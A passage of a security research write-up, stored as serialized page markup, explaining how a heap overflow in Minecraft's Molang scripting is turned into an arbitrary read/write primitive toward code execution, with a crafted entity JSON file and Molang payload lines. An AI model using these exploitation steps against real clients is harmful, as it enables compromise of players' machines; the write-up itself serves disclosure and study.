",{"type":26,"tag":53,"props":152579,"children":152581},{"className":152580},[],[152582],{"type":32,"value":8793},{"type":26,"tag":86,"props":152584,"children":152585},{},[152586,152588],{"type":32,"value":152587},"If found, uses the global index to look up the per-entity index in ",{"type":26,"tag":53,"props":152589,"children":152591},{"className":152590},[],[152592],{"type":32,"value":152536},{"type":26,"tag":86,"props":152594,"children":152595},{},[152596,152598],{"type":32,"value":152597},"If not found, creates a new global entry and assigns it ",{"type":26,"tag":53,"props":152599,"children":152601},{"className":152600},[],[152602],{"type":32,"value":152603},"last_index + 1",{"type":26,"tag":35,"props":152605,"children":152606},{},[152607,152609,152614,152616,152621,152623,152628,152630,152635,152637,152642,152643,152649,152651,152656],{"type":32,"value":152608},"This means the same global index for variable ",{"type":26,"tag":53,"props":152610,"children":152612},{"className":152611},[],[152613],{"type":32,"value":8793},{"type":32,"value":152615}," maps to the same position inside every entity’s ",{"type":26,"tag":53,"props":152617,"children":152619},{"className":152618},[],[152620],{"type":32,"value":152536},{"type":32,"value":152622},", but the actual ",{"type":26,"tag":53,"props":152624,"children":152626},{"className":152625},[],[152627],{"type":32,"value":152033},{"type":32,"value":152629}," for ",{"type":26,"tag":53,"props":152631,"children":152633},{"className":152632},[],[152634],{"type":32,"value":8793},{"type":32,"value":152636}," may live at different slots inside each entity's ",{"type":26,"tag":53,"props":152638,"children":152640},{"className":152639},[],[152641],{"type":32,"value":152360},{"type":32,"value":18240},{"type":26,"tag":53,"props":152644,"children":152646},{"className":152645},[],[152647],{"type":32,"value":152648},"Entity.MolangIndexMap[global_index]",{"type":32,"value":152650}," stores the per-entity index (slot) of variable ",{"type":26,"tag":53,"props":152652,"children":152654},{"className":152653},[],[152655],{"type":32,"value":8793},{"type":32,"value":353},{"type":26,"tag":35,"props":152658,"children":152659},{},[152660,152662,152667,152669,152674,152676,152681,152683,152688,152690,152696,152698,152703],{"type":32,"value":152661},"Importantly, we found that indices in the ",{"type":26,"tag":53,"props":152663,"children":152665},{"className":152664},[],[152666],{"type":32,"value":152536},{"type":32,"value":152668}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":26,"tag":53,"props":152670,"children":152672},{"className":152671},[],[152673],{"type":32,"value":152360},{"type":32,"value":152675},". This means that if we overwrite the index of variable ",{"type":26,"tag":53,"props":152677,"children":152679},{"className":152678},[],[152680],{"type":32,"value":8793},{"type":32,"value":152682}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":26,"tag":53,"props":152684,"children":152686},{"className":152685},[],[152687],{"type":32,"value":152360},{"type":32,"value":152689},", we could read from and write to ",{"type":26,"tag":53,"props":152691,"children":152693},{"className":152692},[],[152694],{"type":32,"value":152695},"address + 0x38",{"type":32,"value":152697}," through ",{"type":26,"tag":53,"props":152699,"children":152701},{"className":152700},[],[152702],{"type":32,"value":152528},{"type":32,"value":353},{"type":26,"tag":41,"props":152705,"children":152707},{"id":152706},"building-a-molang-arbitrary-rw-primitive",[152708],{"type":32,"value":152709},"Building a Molang Arbitrary R/W Primitive",{"type":26,"tag":35,"props":152711,"children":152712},{},[152713,152715,152720,152722,152727],{"type":32,"value":152714},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":26,"tag":53,"props":152716,"children":152718},{"className":152717},[],[152719],{"type":32,"value":152390},{"type":32,"value":152721}," - specifically, of ",{"type":26,"tag":53,"props":152723,"children":152725},{"className":152724},[],[152726],{"type":32,"value":152360},{"type":32,"value":152728}," vector.",{"type":26,"tag":35,"props":152730,"children":152731},{},[152732,152734,152739,152741,152746,152747,152752,152754,152759],{"type":32,"value":152733},"Because every entity object is heap-allocated and contains a ",{"type":26,"tag":53,"props":152735,"children":152737},{"className":152736},[],[152738],{"type":32,"value":152360},{"type":32,"value":152740}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":26,"tag":53,"props":152742,"children":152744},{"className":152743},[],[152745],{"type":32,"value":149556},{"type":32,"value":55483},{"type":26,"tag":53,"props":152748,"children":152750},{"className":152749},[],[152751],{"type":32,"value":152360},{"type":32,"value":152753}," vector belonging to an entity object placed just next the ",{"type":26,"tag":53,"props":152755,"children":152757},{"className":152756},[],[152758],{"type":32,"value":152360},{"type":32,"value":152760}," allocated buffer.",{"type":26,"tag":465,"props":152762,"children":152764},{"code":152763}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[152765],{"type":26,"tag":53,"props":152766,"children":152767},{"__ignoreMap":7},[152768],{"type":32,"value":152763},{"type":26,"tag":35,"props":152770,"children":152771},{},[152772,152774,152779,152781,152787,152789,152794,152795,152801,152802,152807,152809,152814,152816,152821,152823,152828,152830,152835,152837,152842,152844,152849,152851,152857,152859,152864,152866,152871],{"type":32,"value":152773},"In the scenario above, the ",{"type":26,"tag":53,"props":152775,"children":152777},{"className":152776},[],[152778],{"type":32,"value":152536},{"type":32,"value":152780}," would map ",{"type":26,"tag":53,"props":152782,"children":152784},{"className":152783},[],[152785],{"type":32,"value":152786},"variable.a",{"type":32,"value":152788}," -> index ",{"type":26,"tag":53,"props":152790,"children":152792},{"className":152791},[],[152793],{"type":32,"value":3732},{"type":32,"value":637},{"type":26,"tag":53,"props":152796,"children":152798},{"className":152797},[],[152799],{"type":32,"value":152800},"variable.b",{"type":32,"value":152788},{"type":26,"tag":53,"props":152803,"children":152805},{"className":152804},[],[152806],{"type":32,"value":3722},{"type":32,"value":152808},", and so on. If we overwrite the index for ",{"type":26,"tag":53,"props":152810,"children":152812},{"className":152811},[],[152813],{"type":32,"value":152786},{"type":32,"value":152815}," with a value that is out-of-bounds for the ",{"type":26,"tag":53,"props":152817,"children":152819},{"className":152818},[],[152820],{"type":32,"value":152360},{"type":32,"value":152822},", it can instead index the ",{"type":26,"tag":53,"props":152824,"children":152826},{"className":152825},[],[152827],{"type":32,"value":149556},{"type":32,"value":152829}," field of the entity object above. Reading ",{"type":26,"tag":53,"props":152831,"children":152833},{"className":152832},[],[152834],{"type":32,"value":152786},{"type":32,"value":152836}," will then return the pointer stored at offset ",{"type":26,"tag":53,"props":152838,"children":152840},{"className":152839},[],[152841],{"type":32,"value":152294},{"type":32,"value":152843}," from the start of the ",{"type":26,"tag":53,"props":152845,"children":152847},{"className":152846},[],[152848],{"type":32,"value":152360},{"type":32,"value":152850}," (which in this diagram corresponds to ",{"type":26,"tag":53,"props":152852,"children":152854},{"className":152853},[],[152855],{"type":32,"value":152856},"variable.f",{"type":32,"value":152858},"), and writing to ",{"type":26,"tag":53,"props":152860,"children":152862},{"className":152861},[],[152863],{"type":32,"value":152786},{"type":32,"value":152865}," will overwrite that pointer - corrupting ",{"type":26,"tag":53,"props":152867,"children":152869},{"className":152868},[],[152870],{"type":32,"value":152856},{"type":32,"value":353},{"type":26,"tag":35,"props":152873,"children":152874},{},[152875,152877,152882,152883,152889,152891,152896,152898,152904,152906,152911,152913,152918,152920,152926,152928,152934,152936,152941],{"type":32,"value":152876},"To leak the address of the Minecraft executable we could increment ",{"type":26,"tag":53,"props":152878,"children":152880},{"className":152879},[],[152881],{"type":32,"value":152786},{"type":32,"value":2775},{"type":26,"tag":53,"props":152884,"children":152886},{"className":152885},[],[152887],{"type":32,"value":152888},"variable.a += 8",{"type":32,"value":152890},"), which advances the pointer used for ",{"type":26,"tag":53,"props":152892,"children":152894},{"className":152893},[],[152895],{"type":32,"value":152856},{"type":32,"value":152897}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":26,"tag":53,"props":152899,"children":152901},{"className":152900},[],[152902],{"type":32,"value":152903},"variable.a = variable.exe_leak + \u003Coffset>",{"type":32,"value":152905}," - this updates the ",{"type":26,"tag":53,"props":152907,"children":152909},{"className":152908},[],[152910],{"type":32,"value":152856},{"type":32,"value":152912}," pointer to our chosen address, and writing to ",{"type":26,"tag":53,"props":152914,"children":152916},{"className":152915},[],[152917],{"type":32,"value":152856},{"type":32,"value":152919},", for example ",{"type":26,"tag":53,"props":152921,"children":152923},{"className":152922},[],[152924],{"type":32,"value":152925},"variable.f = 1337",{"type":32,"value":152927},", writes the value ",{"type":26,"tag":53,"props":152929,"children":152931},{"className":152930},[],[152932],{"type":32,"value":152933},"1337",{"type":32,"value":152935}," to offset ",{"type":26,"tag":53,"props":152937,"children":152939},{"className":152938},[],[152940],{"type":32,"value":152294},{"type":32,"value":152942}," from that calculated address.",{"type":26,"tag":70,"props":152944,"children":152946},{"id":152945},"testing-the-idea",[152947],{"type":32,"value":152948},"Testing the Idea",{"type":26,"tag":35,"props":152950,"children":152951},{},[152952,152954,152959,152961,152966,152968,152973],{"type":32,"value":152953},"We tested the idea by manually adding a pointer to the start of ",{"type":26,"tag":53,"props":152955,"children":152957},{"className":152956},[],[152958],{"type":32,"value":152360},{"type":32,"value":152960}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":26,"tag":2615,"props":152962,"children":152963},{},[152964],{"type":32,"value":152965},"almost",{"type":32,"value":152967}," worked - below is the state of the ",{"type":26,"tag":53,"props":152969,"children":152971},{"className":152970},[],[152972],{"type":32,"value":152360},{"type":32,"value":152974},"'s allocated buffer before the Molang script executes:",{"type":26,"tag":35,"props":152976,"children":152977},{},[152978],{"type":26,"tag":132,"props":152979,"children":152981},{"alt":134,"src":152980},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":26,"tag":35,"props":152983,"children":152984},{},[152985],{"type":32,"value":152986},"And this is after execution:",{"type":26,"tag":35,"props":152988,"children":152989},{},[152990],{"type":26,"tag":132,"props":152991,"children":152993},{"alt":134,"src":152992},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":26,"tag":35,"props":152995,"children":152996},{},[152997],{"type":32,"value":152998},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":26,"tag":465,"props":153000,"children":153002},{"code":153001,"language":2489,"meta":7,"className":33693,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[153003],{"type":26,"tag":53,"props":153004,"children":153005},{"__ignoreMap":7},[153006,153013,153034,153046,153058,153079,153086,153093,153100,153112,153125,153137,153149,153161,153177,153184,153196,153204,153212,153219,153226,153233],{"type":26,"tag":475,"props":153007,"children":153008},{"class":477,"line":478},[153009],{"type":26,"tag":475,"props":153010,"children":153011},{"style":499},[153012],{"type":32,"value":10589},{"type":26,"tag":475,"props":153014,"children":153015},{"class":477,"line":516},[153016,153021,153025,153030],{"type":26,"tag":475,"props":153017,"children":153018},{"style":2375},[153019],{"type":32,"value":153020}," \"format_version\"",{"type":26,"tag":475,"props":153022,"children":153023},{"style":499},[153024],{"type":32,"value":15037},{"type":26,"tag":475,"props":153026,"children":153027},{"style":629},[153028],{"type":32,"value":153029},"\"1.10.0\"",{"type":26,"tag":475,"props":153031,"children":153032},{"style":499},[153033],{"type":32,"value":2425},{"type":26,"tag":475,"props":153035,"children":153036},{"class":477,"line":539},[153037,153042],{"type":26,"tag":475,"props":153038,"children":153039},{"style":2375},[153040],{"type":32,"value":153041}," \"minecraft:client_entity\"",{"type":26,"tag":475,"props":153043,"children":153044},{"style":499},[153045],{"type":32,"value":36716},{"type":26,"tag":475,"props":153047,"children":153048},{"class":477,"line":548},[153049,153054],{"type":26,"tag":475,"props":153050,"children":153051},{"style":2375},[153052],{"type":32,"value":153053}," \"description\"",{"type":26,"tag":475,"props":153055,"children":153056},{"style":499},[153057],{"type":32,"value":36716},{"type":26,"tag":475,"props":153059,"children":153060},{"class":477,"line":558},[153061,153066,153070,153075],{"type":26,"tag":475,"props":153062,"children":153063},{"style":2375},[153064],{"type":32,"value":153065}," \"identifier\"",{"type":26,"tag":475,"props":153067,"children":153068},{"style":499},[153069],{"type":32,"value":15037},{"type":26,"tag":475,"props":153071,"children":153072},{"style":629},[153073],{"type":32,"value":153074},"\"minecraft:leash_knot\"",{"type":26,"tag":475,"props":153076,"children":153077},{"style":499},[153078],{"type":32,"value":2425},{"type":26,"tag":475,"props":153080,"children":153081},{"class":477,"line":582},[153082],{"type":26,"tag":475,"props":153083,"children":153084},{"emptyLinePlaceholder":18},[153085],{"type":32,"value":545},{"type":26,"tag":475,"props":153087,"children":153088},{"class":477,"line":596},[153089],{"type":26,"tag":475,"props":153090,"children":153091},{"style":22115},[153092],{"type":32,"value":126873},{"type":26,"tag":475,"props":153094,"children":153095},{"class":477,"line":610},[153096],{"type":26,"tag":475,"props":153097,"children":153098},{"style":499},[153099],{"type":32,"value":152183},{"type":26,"tag":475,"props":153101,"children":153102},{"class":477,"line":650},[153103,153108],{"type":26,"tag":475,"props":153104,"children":153105},{"style":2375},[153106],{"type":32,"value":153107}," \"scripts\"",{"type":26,"tag":475,"props":153109,"children":153110},{"style":499},[153111],{"type":32,"value":36716},{"type":26,"tag":475,"props":153113,"children":153114},{"class":477,"line":679},[153115,153120],{"type":26,"tag":475,"props":153116,"children":153117},{"style":2375},[153118],{"type":32,"value":153119}," \"initialize\"",{"type":26,"tag":475,"props":153121,"children":153122},{"style":499},[153123],{"type":32,"value":153124},": [\n",{"type":26,"tag":475,"props":153126,"children":153127},{"class":477,"line":735},[153128,153133],{"type":26,"tag":475,"props":153129,"children":153130},{"style":629},[153131],{"type":32,"value":153132}," \"variable.a = 0;\"",{"type":26,"tag":475,"props":153134,"children":153135},{"style":499},[153136],{"type":32,"value":2425},{"type":26,"tag":475,"props":153138,"children":153139},{"class":477,"line":744},[153140,153145],{"type":26,"tag":475,"props":153141,"children":153142},{"style":629},[153143],{"type":32,"value":153144}," \"variable.b = 0;\"",{"type":26,"tag":475,"props":153146,"children":153147},{"style":499},[153148],{"type":32,"value":2425},{"type":26,"tag":475,"props":153150,"children":153151},{"class":477,"line":753},[153152,153157],{"type":26,"tag":475,"props":153153,"children":153154},{"style":629},[153155],{"type":32,"value":153156}," \"variable.c = 0;\"",{"type":26,"tag":475,"props":153158,"children":153159},{"style":499},[153160],{"type":32,"value":2425},{"type":26,"tag":475,"props":153162,"children":153163},{"class":477,"line":761},[153164,153169,153173],{"type":26,"tag":475,"props":153165,"children":153166},{"style":499},[153167],{"type":32,"value":153168}," [",{"type":26,"tag":475,"props":153170,"children":153171},{"style":22115},[153172],{"type":32,"value":9300},{"type":26,"tag":475,"props":153174,"children":153175},{"style":499},[153176],{"type":32,"value":11481},{"type":26,"tag":475,"props":153178,"children":153179},{"class":477,"line":770},[153180],{"type":26,"tag":475,"props":153181,"children":153182},{"style":499},[153183],{"type":32,"value":43339},{"type":26,"tag":475,"props":153185,"children":153186},{"class":477,"line":794},[153187,153192],{"type":26,"tag":475,"props":153188,"children":153189},{"style":2375},[153190],{"type":32,"value":153191}," \"pre_animation\"",{"type":26,"tag":475,"props":153193,"children":153194},{"style":499},[153195],{"type":32,"value":153124},{"type":26,"tag":475,"props":153197,"children":153198},{"class":477,"line":831},[153199],{"type":26,"tag":475,"props":153200,"children":153201},{"style":629},[153202],{"type":32,"value":153203}," \"variable.a = 2.310732e-27;\"\n",{"type":26,"tag":475,"props":153205,"children":153206},{"class":477,"line":845},[153207],{"type":26,"tag":475,"props":153208,"children":153209},{"style":499},[153210],{"type":32,"value":153211}," ]\n",{"type":26,"tag":475,"props":153213,"children":153214},{"class":477,"line":854},[153215],{"type":26,"tag":475,"props":153216,"children":153217},{"style":499},[153218],{"type":32,"value":36893},{"type":26,"tag":475,"props":153220,"children":153221},{"class":477,"line":862},[153222],{"type":26,"tag":475,"props":153223,"children":153224},{"style":499},[153225],{"type":32,"value":851},{"type":26,"tag":475,"props":153227,"children":153228},{"class":477,"line":885},[153229],{"type":26,"tag":475,"props":153230,"children":153231},{"style":499},[153232],{"type":32,"value":5585},{"type":26,"tag":475,"props":153234,"children":153235},{"class":477,"line":913},[153236],{"type":26,"tag":475,"props":153237,"children":153238},{"style":499},[153239],{"type":32,"value":3607},{"type":26,"tag":35,"props":153241,"children":153242},{},[153243,153245,153250,153252,153257,153259,153264],{"type":32,"value":153244},"As shown, the pointer of a variable at offset ",{"type":26,"tag":53,"props":153246,"children":153248},{"className":153247},[],[153249],{"type":32,"value":152294},{"type":32,"value":153251}," was modified and the core concept works. During ",{"type":26,"tag":53,"props":153253,"children":153255},{"className":153254},[],[153256],{"type":32,"value":152252},{"type":32,"value":153258}," copy, pointers of some other variables above offset ",{"type":26,"tag":53,"props":153260,"children":153262},{"className":153261},[],[153263],{"type":32,"value":152294},{"type":32,"value":153265}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":26,"tag":35,"props":153267,"children":153268},{},[153269],{"type":32,"value":153270},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":26,"tag":82,"props":153272,"children":153273},{},[153274,153287],{"type":26,"tag":86,"props":153275,"children":153276},{},[153277,153279,153285],{"type":32,"value":153278},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":26,"tag":53,"props":153280,"children":153282},{"className":153281},[],[153283],{"type":32,"value":153284},"FLT_MAX",{"type":32,"value":153286},", the value becomes an invalid float causing the increment operation to fail.",{"type":26,"tag":86,"props":153288,"children":153289},{},[153290,153292,153297,153299,153304,153305,153310,153312,153317],{"type":32,"value":153291},"As noted before, during assignment, ",{"type":26,"tag":53,"props":153293,"children":153295},{"className":153294},[],[153296],{"type":32,"value":152252},{"type":32,"value":153298}," fields are copied, and the ",{"type":26,"tag":53,"props":153300,"children":153302},{"className":153301},[],[153303],{"type":32,"value":38844},{"type":32,"value":152342},{"type":26,"tag":53,"props":153306,"children":153308},{"className":153307},[],[153309],{"type":32,"value":55326},{"type":32,"value":153311},". Since our source ",{"type":26,"tag":53,"props":153313,"children":153315},{"className":153314},[],[153316],{"type":32,"value":152252},{"type":32,"value":153318}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":26,"tag":35,"props":153320,"children":153321},{},[153322],{"type":32,"value":153323},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":26,"tag":70,"props":153325,"children":153327},{"id":153326},"expanding-the-idea",[153328],{"type":32,"value":153329},"Expanding the Idea",{"type":26,"tag":35,"props":153331,"children":153332},{},[153333,153335,153340,153342,153347,153348,153353,153355,153360],{"type":32,"value":153334},"As mentioned earlier, the ",{"type":26,"tag":53,"props":153336,"children":153338},{"className":153337},[],[153339],{"type":32,"value":32455},{"type":32,"value":153341}," field of ",{"type":26,"tag":53,"props":153343,"children":153345},{"className":153344},[],[153346],{"type":32,"value":152252},{"type":32,"value":15149},{"type":26,"tag":53,"props":153349,"children":153351},{"className":153350},[],[153352],{"type":32,"value":57625},{"type":32,"value":153354},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":26,"tag":53,"props":153356,"children":153358},{"className":153357},[],[153359],{"type":32,"value":38844},{"type":32,"value":153361}," field remain unchanged before and after Molang execution.",{"type":26,"tag":35,"props":153363,"children":153364},{},[153365,153367,153372],{"type":32,"value":153366},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":26,"tag":53,"props":153368,"children":153370},{"className":153369},[],[153371],{"type":32,"value":152360},{"type":32,"value":153373},"’s allocated buffer + 4.",{"type":26,"tag":35,"props":153375,"children":153376},{},[153377,153379,153384,153386,153391,153393,153398,153399,153405],{"type":32,"value":153378},"In the example below, ",{"type":26,"tag":53,"props":153380,"children":153382},{"className":153381},[],[153383],{"type":32,"value":152786},{"type":32,"value":153385}," points to ",{"type":26,"tag":53,"props":153387,"children":153389},{"className":153388},[],[153390],{"type":32,"value":152360},{"type":32,"value":153392},", while ",{"type":26,"tag":53,"props":153394,"children":153396},{"className":153395},[],[153397],{"type":32,"value":152800},{"type":32,"value":153385},{"type":26,"tag":53,"props":153400,"children":153402},{"className":153401},[],[153403],{"type":32,"value":153404},"MolangVariableMap + 4",{"type":32,"value":179},{"type":26,"tag":465,"props":153407,"children":153409},{"code":153408}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[153410],{"type":26,"tag":53,"props":153411,"children":153412},{"__ignoreMap":7},[153413],{"type":32,"value":153408},{"type":26,"tag":35,"props":153415,"children":153416},{},[153417,153419,153424,153425,153430,153432,153437,153439,153444,153446,153451],{"type":32,"value":153418},"Here, the ",{"type":26,"tag":53,"props":153420,"children":153422},{"className":153421},[],[153423],{"type":32,"value":38844},{"type":32,"value":153341},{"type":26,"tag":53,"props":153426,"children":153428},{"className":153427},[],[153429],{"type":32,"value":152786},{"type":32,"value":153431}," starts at the lower 32 bits of the ",{"type":26,"tag":53,"props":153433,"children":153435},{"className":153434},[],[153436],{"type":32,"value":152856},{"type":32,"value":153438}," pointer, while ",{"type":26,"tag":53,"props":153440,"children":153442},{"className":153441},[],[153443],{"type":32,"value":152800},{"type":32,"value":153445}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":26,"tag":53,"props":153447,"children":153449},{"className":153448},[],[153450],{"type":32,"value":152856},{"type":32,"value":153452}," pointer in a separate variable:",{"type":26,"tag":465,"props":153454,"children":153456},{"code":153455},"variable.saved_upper_32 = variable.b;\n",[153457],{"type":26,"tag":53,"props":153458,"children":153459},{"__ignoreMap":7},[153460],{"type":32,"value":153455},{"type":26,"tag":35,"props":153462,"children":153463},{},[153464],{"type":32,"value":153465},"Then we can modify the lower 32 bits of the pointer:",{"type":26,"tag":465,"props":153467,"children":153469},{"code":153468},"variable.a = variable.a + itof(0x8);\n",[153470],{"type":26,"tag":53,"props":153471,"children":153472},{"__ignoreMap":7},[153473],{"type":32,"value":153468},{"type":26,"tag":35,"props":153475,"children":153476},{},[153477],{"type":32,"value":153478},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":26,"tag":465,"props":153480,"children":153482},{"code":153481}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[153483],{"type":26,"tag":53,"props":153484,"children":153485},{"__ignoreMap":7},[153486],{"type":32,"value":153481},{"type":26,"tag":35,"props":153488,"children":153489},{},[153490,153492,153497],{"type":32,"value":153491},"Since the 32 bits directly below the ",{"type":26,"tag":53,"props":153493,"children":153495},{"className":153494},[],[153496],{"type":32,"value":38844},{"type":32,"value":153498}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":26,"tag":465,"props":153500,"children":153502},{"code":153501},"variable.b = variable.saved_upper_32;\n",[153503],{"type":26,"tag":53,"props":153504,"children":153505},{"__ignoreMap":7},[153506],{"type":32,"value":153501},{"type":26,"tag":35,"props":153508,"children":153509},{},[153510,153512,153517],{"type":32,"value":153511},"Now ",{"type":26,"tag":53,"props":153513,"children":153515},{"className":153514},[],[153516],{"type":32,"value":152856},{"type":32,"value":153518}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":26,"tag":465,"props":153520,"children":153522},{"code":153521}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[153523],{"type":26,"tag":53,"props":153524,"children":153525},{"__ignoreMap":7},[153526],{"type":32,"value":153521},{"type":26,"tag":35,"props":153528,"children":153529},{},[153530,153532,153537],{"type":32,"value":153531},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":26,"tag":53,"props":153533,"children":153535},{"className":153534},[],[153536],{"type":32,"value":153404},{"type":32,"value":153538}," on the heap?",{"type":26,"tag":35,"props":153540,"children":153541},{},[153542,153544,153549,153551,153557],{"type":32,"value":153543},"Additionally, adding 8 to ",{"type":26,"tag":53,"props":153545,"children":153547},{"className":153546},[],[153548],{"type":32,"value":152786},{"type":32,"value":153550}," in the example above wouldn’t work because ",{"type":26,"tag":53,"props":153552,"children":153554},{"className":153553},[],[153555],{"type":32,"value":153556},"0xddccbba0",{"type":32,"value":153558}," is not a valid float. So the first issue still remains unresolved.",{"type":26,"tag":70,"props":153560,"children":153562},{"id":153561},"the-final-approach",[153563],{"type":32,"value":153564},"The Final Approach",{"type":26,"tag":35,"props":153566,"children":153567},{},[153568,153570,153575,153577,153583],{"type":32,"value":153569},"We realized that instead of having the second pointer at ",{"type":26,"tag":53,"props":153571,"children":153573},{"className":153572},[],[153574],{"type":32,"value":153404},{"type":32,"value":153576},", we could instead have it at ",{"type":26,"tag":53,"props":153578,"children":153580},{"className":153579},[],[153581],{"type":32,"value":153582},"MolangVariableMap + 2",{"type":32,"value":153584},", which would resolve both of our issues.",{"type":26,"tag":35,"props":153586,"children":153587},{},[153588,153590,153595,153596,153601],{"type":32,"value":153589},"Let’s revisit the previous example, but this time ",{"type":26,"tag":53,"props":153591,"children":153593},{"className":153592},[],[153594],{"type":32,"value":152800},{"type":32,"value":153385},{"type":26,"tag":53,"props":153597,"children":153599},{"className":153598},[],[153600],{"type":32,"value":153582},{"type":32,"value":179},{"type":26,"tag":465,"props":153603,"children":153605},{"code":153604}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153606],{"type":26,"tag":53,"props":153607,"children":153608},{"__ignoreMap":7},[153609],{"type":32,"value":153604},{"type":26,"tag":35,"props":153611,"children":153612},{},[153613,153615,153620],{"type":32,"value":153614},"With this setup, we can calculate any address relative to ",{"type":26,"tag":53,"props":153616,"children":153618},{"className":153617},[],[153619],{"type":32,"value":152856},{"type":32,"value":153621}," by first saving the upper 48 bits of the address:",{"type":26,"tag":465,"props":153623,"children":153625},{"code":153624},"variable.saved_upper_48 = variable.b;\n",[153626],{"type":26,"tag":53,"props":153627,"children":153628},{"__ignoreMap":7},[153629],{"type":32,"value":153624},{"type":26,"tag":35,"props":153631,"children":153632},{},[153633,153634,153640,153642,153648],{"type":32,"value":129262},{"type":26,"tag":53,"props":153635,"children":153637},{"className":153636},[],[153638],{"type":32,"value":153639},"variable.saved_upper_48",{"type":32,"value":153641}," holds the value ",{"type":26,"tag":53,"props":153643,"children":153645},{"className":153644},[],[153646],{"type":32,"value":153647},"0x1c80ddcc",{"type":32,"value":353},{"type":26,"tag":35,"props":153650,"children":153651},{},[153652],{"type":32,"value":153653},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":26,"tag":465,"props":153655,"children":153657},{"code":153656},"variable.b = 0;\n",[153658],{"type":26,"tag":53,"props":153659,"children":153660},{"__ignoreMap":7},[153661],{"type":32,"value":153656},{"type":26,"tag":35,"props":153663,"children":153664},{},[153665],{"type":32,"value":153666},"Resulting in the following state:",{"type":26,"tag":465,"props":153668,"children":153670},{"code":153669}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153671],{"type":26,"tag":53,"props":153672,"children":153673},{"__ignoreMap":7},[153674],{"type":32,"value":153669},{"type":26,"tag":35,"props":153676,"children":153677},{},[153678,153680,153685,153687,153693,153695,153700],{"type":32,"value":153679},"Now, the value of ",{"type":26,"tag":53,"props":153681,"children":153683},{"className":153682},[],[153684],{"type":32,"value":152786},{"type":32,"value":153686}," only spans 16 bits (",{"type":26,"tag":53,"props":153688,"children":153690},{"className":153689},[],[153691],{"type":32,"value":153692},"0xbba0",{"type":32,"value":153694}," specifically), which is always a valid float since it’s far below ",{"type":26,"tag":53,"props":153696,"children":153698},{"className":153697},[],[153699],{"type":32,"value":153284},{"type":32,"value":353},{"type":26,"tag":35,"props":153702,"children":153703},{},[153704,153706,153711],{"type":32,"value":153705},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":26,"tag":53,"props":153707,"children":153709},{"className":153708},[],[153710],{"type":32,"value":152786},{"type":32,"value":179},{"type":26,"tag":465,"props":153713,"children":153714},{"code":153468},[153715],{"type":26,"tag":53,"props":153716,"children":153717},{"__ignoreMap":7},[153718],{"type":32,"value":153468},{"type":26,"tag":35,"props":153720,"children":153721},{},[153722],{"type":32,"value":153723},"Which results in:",{"type":26,"tag":465,"props":153725,"children":153727},{"code":153726}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ 